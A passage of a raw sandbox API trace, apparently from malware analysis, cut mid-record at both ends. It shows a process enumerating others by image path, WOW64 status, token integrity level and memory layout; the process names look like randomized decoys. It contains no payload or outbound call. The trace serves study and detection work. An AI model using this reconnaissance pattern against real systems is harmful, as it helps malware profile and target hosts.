VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0074.946] QueryFullProcessImageNameW (in: hProcess=0x1f8, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\MSBuild\\avg.exe", lpdwSize=0x174fa50) returned 1 [0074.946] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.946] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.946] IsWow64Process (in: hProcess=0x1f8, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.946] NtQueryInformationProcess (in: ProcessHandle=0x1f8, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.946] GetProcessTimes (in: hProcess=0x1f8, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.946] OpenProcessToken (in: ProcessHandle=0x1f8, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.946] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.946] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.946] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.946] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0074.946] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0074.947] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.947] NtClose (Handle=0x2e8) returned 0x0 [0074.947] NtQueryVirtualMemory (in: ProcessHandle=0x1f8, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0074.947] NtQueryVirtualMemory (in: ProcessHandle=0x1f8, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0074.957] QueryFullProcessImageNameW (in: hProcess=0x1fc, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\MSBuild\\configuration smoking.exe", lpdwSize=0x174fa50) returned 1 [0074.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.958] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.958] IsWow64Process (in: hProcess=0x1fc, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.958] NtQueryInformationProcess (in: ProcessHandle=0x1fc, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.958] GetProcessTimes (in: hProcess=0x1fc, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.958] OpenProcessToken (in: ProcessHandle=0x1fc, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.958] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.958] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.958] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.958] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0074.958] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0074.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.958] NtClose (Handle=0x2e8) returned 0x0 [0074.958] NtQueryVirtualMemory (in: ProcessHandle=0x1fc, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0074.958] NtQueryVirtualMemory (in: ProcessHandle=0x1fc, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0074.969] QueryFullProcessImageNameW (in: hProcess=0x200, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\Microsoft.NET\\premises receipt along.exe", lpdwSize=0x174fa50) returned 1 [0074.969] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.969] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.969] IsWow64Process (in: hProcess=0x200, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.969] NtQueryInformationProcess (in: ProcessHandle=0x200, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.969] GetProcessTimes (in: hProcess=0x200, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.969] OpenProcessToken (in: ProcessHandle=0x200, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.969] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.969] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.969] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.969] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0074.969] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0074.969] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.969] NtClose (Handle=0x2e8) returned 0x0 [0074.969] NtQueryVirtualMemory (in: ProcessHandle=0x200, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0074.970] NtQueryVirtualMemory (in: ProcessHandle=0x200, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0074.980] QueryFullProcessImageNameW (in: hProcess=0x204, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Microsoft Analysis Services\\trembl.exe", lpdwSize=0x174fa50) returned 1 [0074.980] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.980] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.980] IsWow64Process (in: hProcess=0x204, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.980] NtQueryInformationProcess (in: ProcessHandle=0x204, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.980] GetProcessTimes (in: hProcess=0x204, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.980] OpenProcessToken (in: ProcessHandle=0x204, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.980] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.981] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.981] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0074.981] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0074.981] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.981] NtClose (Handle=0x2e8) returned 0x0 [0074.981] NtQueryVirtualMemory (in: ProcessHandle=0x204, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0074.981] NtQueryVirtualMemory (in: ProcessHandle=0x204, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0074.992] QueryFullProcessImageNameW (in: hProcess=0x208, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Internet Explorer\\contributions.exe", lpdwSize=0x174fa50) returned 1 [0074.992] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.992] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.992] IsWow64Process (in: hProcess=0x208, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.992] NtQueryInformationProcess (in: ProcessHandle=0x208, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.992] GetProcessTimes (in: hProcess=0x208, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.992] OpenProcessToken (in: ProcessHandle=0x208, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.992] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.992] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.992] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.992] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0074.992] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0074.992] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.992] NtClose (Handle=0x2e8) returned 0x0 [0074.992] NtQueryVirtualMemory (in: ProcessHandle=0x208, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0074.992] NtQueryVirtualMemory (in: ProcessHandle=0x208, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.003] QueryFullProcessImageNameW (in: hProcess=0x20c, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\MSBuild\\britannicaappears.exe", lpdwSize=0x174fa50) returned 1 [0075.003] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.003] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.004] IsWow64Process (in: hProcess=0x20c, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.004] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.004] GetProcessTimes (in: hProcess=0x20c, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.004] OpenProcessToken (in: ProcessHandle=0x20c, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.004] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.004] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.004] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.004] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.004] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.004] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.004] NtClose (Handle=0x2e8) returned 0x0 [0075.004] NtQueryVirtualMemory (in: ProcessHandle=0x20c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.004] NtQueryVirtualMemory (in: ProcessHandle=0x20c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.015] QueryFullProcessImageNameW (in: hProcess=0x210, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\DVD Maker\\radio_move_getting.exe", lpdwSize=0x174fa50) returned 1 [0075.015] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.015] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.015] IsWow64Process (in: hProcess=0x210, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.015] NtQueryInformationProcess (in: ProcessHandle=0x210, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.015] GetProcessTimes (in: hProcess=0x210, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.015] OpenProcessToken (in: ProcessHandle=0x210, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.015] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.015] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.015] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.015] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.015] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.016] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.016] NtClose (Handle=0x2e8) returned 0x0 [0075.016] NtQueryVirtualMemory (in: ProcessHandle=0x210, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.016] NtQueryVirtualMemory (in: ProcessHandle=0x210, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.026] QueryFullProcessImageNameW (in: hProcess=0x214, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\Windows Media Player\\steal.exe", lpdwSize=0x174fa50) returned 1 [0075.026] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.026] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.027] IsWow64Process (in: hProcess=0x214, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.027] NtQueryInformationProcess (in: ProcessHandle=0x214, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.027] GetProcessTimes (in: hProcess=0x214, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.027] OpenProcessToken (in: ProcessHandle=0x214, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.027] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.027] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.027] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.027] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.027] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.027] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.027] NtClose (Handle=0x2e8) returned 0x0 [0075.027] NtQueryVirtualMemory (in: ProcessHandle=0x214, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.027] NtQueryVirtualMemory (in: ProcessHandle=0x214, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.038] QueryFullProcessImageNameW (in: hProcess=0x218, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\Windows Portable Devices\\3dftp.exe", lpdwSize=0x174fa50) returned 1 [0075.039] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.039] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.039] IsWow64Process (in: hProcess=0x218, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.039] NtQueryInformationProcess (in: ProcessHandle=0x218, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.039] GetProcessTimes (in: hProcess=0x218, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.039] OpenProcessToken (in: ProcessHandle=0x218, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.039] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.039] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.039] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.039] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, 